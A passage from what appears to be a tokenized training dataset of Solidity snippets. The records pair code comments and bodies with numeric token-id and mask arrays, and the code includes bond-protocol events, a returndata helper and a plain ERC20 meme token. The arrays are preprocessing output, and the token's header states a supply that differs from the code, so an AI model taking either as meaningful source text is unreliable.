0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
2713,
5381,
943,
3342,
6275,
273,
399,
19851,
67,
13272,
23893,
342,
8063,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0xB15D24FFBac3aC616a7d51AadE5e06b34b50E3F6/sources/esempi/pprovolone.sol
|
whole thing by default.
|
function withdraw() public {
| 16,217,458 |
[
1,
3350,
790,
7757,
635,
805,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
1435,
1071,
288,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/84531/0x5767C841d927cdec5B7d50869a3B3D400f6ad518/sources/src/lib/FrenBondEvents.sol
|
@title FrenBondEvents @author @fr0xMaster @notice Collection of all events related to the FrenBond concept
|
contract FrenBondEvents is FrenBondDataTypes {
event TreasuryOpened(
uint256 indexed _treasuryID,
address indexed opener,
uint256 indexed _startedAt,
uint256 _maturityAt,
uint256 _startingPrice,
uint256 _timestamp
);
event NewPayouts(
uint256 indexed _balanceTreasury,
uint256 _longSupply,
uint256 indexed _longPayout,
uint256 _shortSupply,
uint256 indexed _shortPayout,
uint256 _timestamp
);
event PricesUpdated(
uint256 indexed _treasuryID,
uint256 indexed _newMaturityPrice,
uint256 _numberOfUpdates,
uint256 indexed _timestamp
);
event BondsBought(
uint256 indexed _treasuryID,
address indexed _by,
bool indexed _isLong,
uint256 _quantityBought,
uint256 _amountPaid,
uint256 _newUserAveragePrice,
uint256 _timestamp
);
event BondsSold(
uint256 indexed _treasuryID,
address indexed _by,
bool indexed _isLong,
uint256 _quantitySold,
uint256 _sellPrice,
uint256 _amountSold,
uint256 _timestamp
);
event FeesSplitted(
uint256 indexed _treasuryID,
address indexed _closer,
uint256 _revShareAmount,
uint256 _ftSubjectAmount,
uint256 _treasurersAmount,
uint256 _collectorAmount,
uint256 _timestamp
);
event TreasuryClosed(
uint256 indexed _treasuryID,
TreasuryStatus indexed _status,
BondType indexed _winningBond,
uint256 _startingPrice,
uint256 _ftPrice,
uint256 _maturityPrice,
uint256 _quoteBalanceToShare,
uint256 _winningBondSupply,
uint256 _winningPayout,
uint256 _timestamp
);
event TreasuryClosedWithoutTrade(uint256 indexed _treasuryID, TreasuryStatus indexed _status, uint256 _timestamp);
event BondsRefunded(
uint256 indexed _treasuryID,
address indexed _claimer,
uint256 indexed _amountRefunded,
uint256 _quantityOfLong,
uint256 _quantityOfShort,
uint256 _timestamp
);
event BondsSettled(
uint256 indexed _treasuryID,
address indexed _claimer,
uint256 indexed _amountSettled,
uint256 _quantitySettled,
uint256 _ratioPaid,
uint256 _timestamp
);
event TreasuryRefunded(uint256 indexed _treasuryID, TreasuryStatus indexed _status, uint256 indexed _pausedAt);
event NewFeesCollector(address indexed _feesCollector, uint256 _timestamp);
event NewRevShare(address indexed _revShare, uint256 _timestamp);
event NewQuoteToken(address indexed _token, uint256 _timestamp);
event NewPointToken(address indexed _pointToken, uint256 _timestamp);
event NewBuyFee(uint16 indexed _buyFee, uint256 _timestamp);
event NewSellFee(uint16 indexed _sellFee, uint256 _timestamp);
event NewRevShareFee(uint16 indexed _revShareFee, uint256 _timestamp);
event NewFTSubjectFee(uint16 indexed _ftSubjectFee, uint256 _timestamp);
event NewTreasurersFee(uint16 indexed _treasurersFee, uint256 _timestamp);
event NewInitialBondPrice(uint96 indexed _initialBondPrice, uint256 _timestamp);
event NewInitialSellPercent(uint16 indexed _initialDiscountPercent, uint256 _timestamp);
event NewEpoch(uint64 indexed _epoch, uint256 _timestamp);
pragma solidity 0.8.19;
import {FrenBondDataTypes} from "./FrenBondDataTypes.sol";
}
| 14,319,713 |
[
1,
42,
1187,
9807,
3783,
225,
632,
4840,
20,
92,
7786,
225,
2200,
434,
777,
2641,
3746,
358,
326,
478,
1187,
9807,
12402,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
478,
1187,
9807,
3783,
353,
478,
1187,
9807,
751,
2016,
288,
203,
565,
871,
399,
266,
345,
22498,
23115,
12,
203,
3639,
2254,
5034,
8808,
389,
27427,
345,
22498,
734,
16,
203,
3639,
1758,
8808,
20532,
16,
203,
3639,
2254,
5034,
8808,
389,
14561,
861,
16,
203,
3639,
2254,
5034,
389,
7373,
2336,
861,
16,
203,
3639,
2254,
5034,
389,
18526,
5147,
16,
203,
3639,
2254,
5034,
389,
5508,
203,
565,
11272,
203,
565,
871,
1166,
52,
2012,
87,
12,
203,
3639,
2254,
5034,
8808,
389,
12296,
56,
266,
345,
22498,
16,
203,
3639,
2254,
5034,
389,
5748,
3088,
1283,
16,
203,
3639,
2254,
5034,
8808,
389,
5748,
52,
2012,
16,
203,
3639,
2254,
5034,
389,
6620,
3088,
1283,
16,
203,
3639,
2254,
5034,
8808,
389,
6620,
52,
2012,
16,
203,
3639,
2254,
5034,
389,
5508,
203,
565,
11272,
203,
203,
565,
871,
2301,
1242,
7381,
12,
203,
3639,
2254,
5034,
8808,
389,
27427,
345,
22498,
734,
16,
203,
3639,
2254,
5034,
8808,
389,
2704,
15947,
2336,
5147,
16,
203,
3639,
2254,
5034,
389,
2696,
951,
5121,
16,
203,
3639,
2254,
5034,
8808,
389,
5508,
203,
565,
11272,
203,
203,
565,
871,
605,
4096,
13809,
9540,
12,
203,
3639,
2254,
5034,
8808,
389,
27427,
345,
22498,
734,
16,
203,
3639,
1758,
8808,
389,
1637,
16,
203,
3639,
1426,
8808,
389,
291,
3708,
16,
203,
3639,
2254,
5034,
389,
16172,
13809,
9540,
16,
203,
3639,
2254,
5034,
389,
8949,
16507,
350,
16,
203,
3639,
2254,
5034,
389,
2704,
1299,
17115,
5147,
16,
203,
3639,
2
] |
./full_match/1/0x85Ff72ef23C559881589Daa5C8Ed9698124eDE72/sources/lib/seaport-types/src/helpers/PointerLibraries.sol
|
@dev Reads the int32 at `rdPtr` in returndata.
|
function readInt32(
ReturndataPointer rdPtr
) internal pure returns (int32 value) {
assembly ("memory-safe") {
returndatacopy(0, rdPtr, _OneWord)
value := mload(0)
}
}
| 8,451,938 |
[
1,
7483,
326,
509,
1578,
622,
1375,
13623,
5263,
68,
316,
327,
892,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
13731,
1578,
12,
203,
3639,
2000,
892,
4926,
9437,
5263,
203,
565,
262,
2713,
16618,
1135,
261,
474,
1578,
460,
13,
288,
203,
3639,
19931,
7566,
7858,
17,
4626,
7923,
288,
203,
5411,
327,
892,
3530,
12,
20,
16,
9437,
5263,
16,
389,
3335,
3944,
13,
203,
5411,
460,
519,
312,
945,
12,
20,
13,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'TOOTYR' token contract
//
// Deployed to : 0x81E0d58C31Ed7FC91bB9B1e0BA528f08135B4712
// Symbol : DOGEFATHER
// Name : DogeFather
// Total supply: 1000000000000000
// Decimals : 18
//
// https://t.me/DogeFatherOriginal
// Join the most Notorious crime gang in Meme market !
//
// (c) Godfather
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DogeFather is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function DogeFather() public {
symbol = "DOGEFATHER";
name = "DogeFather";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x81E0d58C31Ed7FC91bB9B1e0BA528f08135B4712] = _totalSupply;
Transfer(address(0), 0x81E0d58C31Ed7FC91bB9B1e0BA528f08135B4712, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
|
contract DogeFather is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function DogeFather() public {
symbol = "DOGEFATHER";
name = "DogeFather";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x81E0d58C31Ed7FC91bB9B1e0BA528f08135B4712] = _totalSupply;
Transfer(address(0), 0x81E0d58C31Ed7FC91bB9B1e0BA528f08135B4712, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 2,369,244 |
[
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
463,
717,
73,
42,
4806,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
445,
463,
717,
73,
42,
4806,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
3191,
7113,
42,
3275,
654,
14432,
203,
3639,
508,
273,
315,
40,
717,
73,
42,
4806,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
12648,
17877,
31,
203,
3639,
324,
26488,
63,
20,
92,
11861,
41,
20,
72,
8204,
39,
6938,
2671,
27,
4488,
12416,
70,
38,
29,
38,
21,
73,
20,
12536,
25,
6030,
74,
6840,
26612,
38,
9462,
2138,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
12279,
12,
2867,
12,
20,
3631,
374,
92,
11861,
41,
20,
72,
8204,
39,
6938,
2671,
27,
4488,
12416,
70,
38,
29,
38,
21,
73,
20,
12536,
25,
6030,
74,
6840,
26612,
38,
9462,
2138,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
5381,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
225,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
2
] |
./partial_match/1/0x3a23F943181408EAC424116Af7b7790c94Cb97a5/sources/src/bridges/arbitrum/l1/NativeArbitrum.sol
|
@notice Struct to be used in decode step from input parameter - a specific case of bridging after swap. @dev the data being encoded in offchain or by caller should have values set in this sequence of properties in this struct
|
struct NativeArbitrumBridgeDataNoToken {
uint256 value;
uint256 maxGas;
